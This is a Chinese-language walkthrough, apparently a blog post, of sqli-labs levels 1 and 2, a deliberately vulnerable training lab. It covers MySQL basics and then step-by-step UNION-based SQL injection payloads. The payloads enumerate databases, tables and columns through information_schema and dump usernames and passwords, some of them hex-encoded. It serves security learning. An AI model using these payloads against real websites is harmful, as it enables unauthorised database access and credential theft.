sqli-labs通关攻略教程一(less 01~less 02)

数据库知识整理

MYSQL基本用法

  1. 查库
show databases;      ##方法1

select schema_name from information_schema.schemata;    ##方法2

sqli-labs通关攻略教程一(less 01~less 02)
2. 查表

use security;   ##方法1
show tables;

select table_name  from information_schema.tables where table_schema='security'   ##方法2

sqli-labs通关攻略教程一(less 01~less 02)
sqli-labs通关攻略教程一(less 01~less 02)
3. 查列

select  *from users;     ##方法1

select column_name from information_schema.columns where table_name='users';    ##方法2

sqli-labs通关攻略教程一(less 01~less 02)
4. 查字段

select username,password from security.users;

sqli-labs通关攻略教程一(less 01~less 02)

less-01

  1. 首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。sqli-labs通关攻略教程一(less 01~less 02)
  2. F12打开开发者工具中的hackbar,在url后面添加/?id=1、2、3,结果依次如下sqli-labs通关攻略教程一(less 01~less 02)

sqli-labs通关攻略教程一(less 01~less 02)
sqli-labs通关攻略教程一(less 01~less 02)
用户名上方一行黄色的字母为我们第一步中输出的sql语句

  1. 当输入id=3'时,页面会提示报错信息,信息中说明有sql错误,说明存在sql注入。sqli-labs通关攻略教程一(less 01~less 02)
  2. 我们看报错信息的id=3后面多了一个单引号,因此删去一个单引号,即可正确执行。
  3. 当我们尝试在/?id=3'后面添加注释符号--+,发现该payload被正确执行。sqli-labs通关攻略教程一(less 01~less 02)
  4. 将id=1时输出的sql语句SELECT * FROM users WHERE id='1' LIMIT 0,1在命令行输出
    sqli-labs通关攻略教程一(less 01~less 02)
  5. 输入select *from users limit 0,1;与输入SELECT * FROM users WHERE id='1' LIMIT 0,1
    结果相同。
    sqli-labs通关攻略教程一(less 01~less 02)
  6. 接下来分析limit 0,1的意思,先分别输入limit 2,1和limit 3,1时结果如下,再尝试分别输入limit 0,2limit 0,3。因此我们发现limit 0,1中第一位表示从第几个开始,如0表示从第一个开始;第二位表示显示多少行字段。
    sqli-labs通关攻略教程一(less 01~less 02)
    sqli-labs通关攻略教程一(less 01~less 02)
  7. 我们继续在命令行中尝试order by的用法。我们分别输入select *from users order by 2select *from users order by 3进行查看,可以发现分别对第二列和第三列进行了排序。当我们使用select *from users order by 4会报错,因此order by 可以判断字段数(即数据的列数)。
    sqli-labs通关攻略教程一(less 01~less 02)
  8. 当输入id=-1' union select 1,2,3--+时,发现2和3回显,可以进行利用。sqli-labs通关攻略教程一(less 01~less 02)
  9. 当在命令行输入select *from users limit 1,1 union select 1,2,3时,对比sqli-labs通关攻略教程一(less 01~less 02)
select user();
select database();
select version();
select @@datadir;        ##mysql安装路径
select @@version_compile_os;      ##操作系统

sqli-labs通关攻略教程一(less 01~less 02)
13. 利用上述联合查询的回显,在url后添加id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+得到所有的数据库信息。其中group concat()可以将所有数据连接,拼接作为一行显示。

sqli-labs通关攻略教程一(less 01~less 02)
mysql中的information_schema 结构用来存储数据库系统信息 。information_schema 结构中这几个表存储的信息,在sql注入中可以用到的几个表。
| SCHEMATA ――>存储数据库名的,
|——>关键字段:SCHEMA_NAME,表示数据库名称
| TABLES ――>存储表名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
| COLUMNS ――>存储字段名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
14. 查询security库中的表名。

id=-1'  union select  1,2,group_concat(table_name)  from information_schema.tables where table_schema="security" --+

sqli-labs通关攻略教程一(less 01~less 02)
或者使用十六进制编码

id=-1'  union select  1,2,group_concat(table_name)  from information_schema.tables where table_schema=0x7365637572697479 --+

sqli-labs通关攻略教程一(less 01~less 02)
16. 查询users表中的列。

id=-1'  union select  1,2,group_concat(column_name)  from information_schema.columns where table_name=0x7573657273 --+

sqli-labs通关攻略教程一(less 01~less 02)
17. 查询username

id=-1'  union select  1,2,group_concat(username)  from security.users --+

sqli-labs通关攻略教程一(less 01~less 02)
18.
concat_ws()函数

id=-1'  union select  1,2,group_concat(concat_ws("~", username,password) ) from security.users --+

sqli-labs通关攻略教程一(less 01~less 02)

id=-1'  union select  1,2,group_concat(concat_ws(0x7e, username,password) ) from security.users --+

推荐使用十六进制编码,避免双引号的使用。
19. 总结sqli-labs通关攻略教程一(less 01~less 02)

less 02

  1. 与上一关的第一步相同,首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。
  2. 输入?id=1时sqli-labs通关攻略教程一(less 01~less 02)
    输入?id=1’时报错说明存在注入漏洞。sqli-labs通关攻略教程一(less 01~less 02)
  3. 我们查看报错原因是因为1后面多加了一个单引号,这一关与上一关的区别就是这一关不需要加单引号。因此,我们删去单引号直接进行order by查询时的语句为 ?id=1 order by 3--+sqli-labs通关攻略教程一(less 01~less 02)
    sqli-labs通关攻略教程一(less 01~less 02)
  4. 其余步骤与第一关相同。
上一篇:mysql 字符串拼接


下一篇:sql整数性注入